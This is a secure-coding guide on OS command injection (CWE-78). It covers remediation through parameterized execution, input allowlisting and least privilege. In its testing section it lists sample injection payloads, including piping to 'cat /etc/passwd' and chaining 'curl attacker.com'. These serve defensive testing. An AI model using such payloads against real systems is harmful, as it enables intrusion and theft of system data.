Skip to content

CWE-78: OS Command Injection

Overview

OS Command Injection occurs when an application incorporates untrusted data into an operating system command without proper validation or sanitization. Attackers can execute arbitrary commands on the host operating system.

OWASP Classification

A05:2025 - Injection

Risk

Critical: Can lead to complete system compromise, data theft, or denial of service. Exploitation typically results in immediate arbitrary code execution with application privileges.

Relationship to Other CWEs

  • CWE-77 (Command Injection): Focuses on shell metacharacter injection that alters command structure.
  • CWE-78 (This page): A broader category commonly used by tools to report OS command injection issues, often mapping to CWE-77 or CWE-88 in root cause analysis.
  • CWE-88 (Argument Injection): Focuses on injecting flags or options into commands without invoking a shell.

Remediation Steps

Core principle: Never execute operating system commands constructed from untrusted input; eliminate shell execution entirely and use safe, parameterized system APIs when OS interaction is unavoidable.

Trace the Data Path

Analyze the data_path from source to sink to understand how untrusted data reaches the command execution:

  • Source: Identify where untrusted data enters (user input, external file, database, network request)
  • Sink: Locate the system execution function (exec(), system(), Runtime.exec(), etc.)
  • Validation gaps: Check each frame between source and sink for missing sanitization

Eliminate System Calls (Preferred)

The safest approach is to avoid executing system commands entirely. Replace with native language APIs:

  • File operations: Use language-native file I/O APIs instead of shell commands
  • Network operations: Use HTTP/socket libraries instead of curl, wget, etc.
  • Process management: Use language process/threading APIs instead of shell scripts

Use Parameterized Execution

If system commands are unavoidable, use APIs that separate commands from arguments:

  • Never concatenate untrusted data into command strings
  • Use argument arrays where the command and parameters are separate elements
  • Disable shell invocation (avoid sh -c, cmd /c, shell=True, etc.)
  • Consult language-specific guidance below for safe API usage

Add Input Validation (Defense in Depth)

Even with parameterized execution, validate all untrusted data:

  • Allowlist permitted characters (alphanumeric only if possible)
  • Reject any input containing shell metacharacters as part of strict allowlist validation: ; | & $ > < \ ` \n ( )`
  • Validate format against expected patterns (e.g., filenames, IP addresses)
  • Use absolute paths to prevent directory traversal attacks

Apply Least Privilege

Limit the impact of potential exploitation:

  • Run the application with minimal OS permissions
  • Use sandboxing or containerization to isolate processes
  • Never run as root/administrator unless absolutely necessary

Test with Malicious Inputs

Verify your fixes by testing with command injection payloads:

  • ; ls or ; dir (command chaining)
  • | cat /etc/passwd or | type C:\Windows\win.ini (piping)
  • $(whoami) or `whoami` (command substitution)
  • && curl attacker.com (conditional execution)

Language-Specific Guidance

For detailed, framework-specific code examples and patterns, see:

  • C# - Process.Start with argument validation
  • Java - ProcessBuilder, Runtime.exec() with argument arrays
  • JavaScript - child_process spawn/execFile without shell
  • PHP - escapeshellarg, proc_open with secure patterns
  • Python - subprocess, os.system with secure alternatives

Dynamic Scan Guidance

For guidance on remediating this CWE when detected by dynamic (DAST) scanners: